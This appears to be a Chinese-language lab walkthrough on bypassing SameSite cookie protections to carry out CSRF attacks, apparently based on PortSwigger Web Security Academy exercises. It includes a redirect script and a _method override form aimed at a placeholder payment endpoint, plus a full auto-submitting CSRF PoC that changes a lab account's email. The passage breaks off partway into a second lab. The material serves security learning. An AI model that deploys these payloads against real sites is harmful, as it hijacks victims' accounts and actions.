今天講跨越 SameSite
cookie。SameSite
是一種新的 Cookie
屬性,主要用於增強網站的安全性,是為了解決 CSRF
攻擊問題而設計的。
在 SameSite cookie 下,一個網站被定義為 top-level domain
(TLD),通常是像 .com
或 .net
這樣的,加上域名的另一個級別。這通常被叫做 TLD+1
。
即使請求是由無關的第三方網站觸發的,瀏覽器也會在向發出它們的domain
發送的每個請求中發送 cookies
,減少用戶暴露於 CSRF 攻擊的風險。
cookie
。GET
請求。cookies
,但需要使用Secure
屬性,意味著只能在安全的https
連接中傳送。開發者在設置 cookies
時,可以在 Set-Cookie header
加入 SameSite
屬性,例如:
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict。
如果他們 cookies
用 Lax
限制,可能仍然可以通過從受害者的瀏覽器中引發 GET
請求來執行 CSRF
攻擊。
以下是啟動此類攻擊的最簡單方法之一:
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
即使不允許普通的 GET
請求,某些框架提供了覆蓋請求行中指定的方法的方式。例如,Symfony
支持在表單中的 _method
參數:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
一樣先登入,然後進到 update email
重新設一個 email 接 request
送給 repeater
然後 PoC
複製 CSRF HTML
然後稍微將 POST
改成 GET
紮上衣格 _method
<input type="hidden" name="_method" value="POST">
完整程式碼:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ad8000b04e03382818b610b009800b4.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="hi@dv.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
完成
如果一個 cookie
被設置為 SameSite=Strict
屬性,瀏覽器不會在任何跨站請求中包含它。但如果你可以找到一些在同一網站內導致二次請求的工具,就可以繞過這個限制。
在瀏覽器看來,這些client端重定向不是真正的重定向;由此產生的請求只被視為普通的、獨立的請求。最重要的是,這是一個SameSite
請求,因此,它將包括與該網站相關的所有 cookies
,無論是否有任何限制。
如果你可以操縱這個工具來引發一個惡意的二次請求,就可以繞過任何 SameSite cookie
限制。
一樣先登入,然後抓修改email
的request
隨便點開一個文章留言看看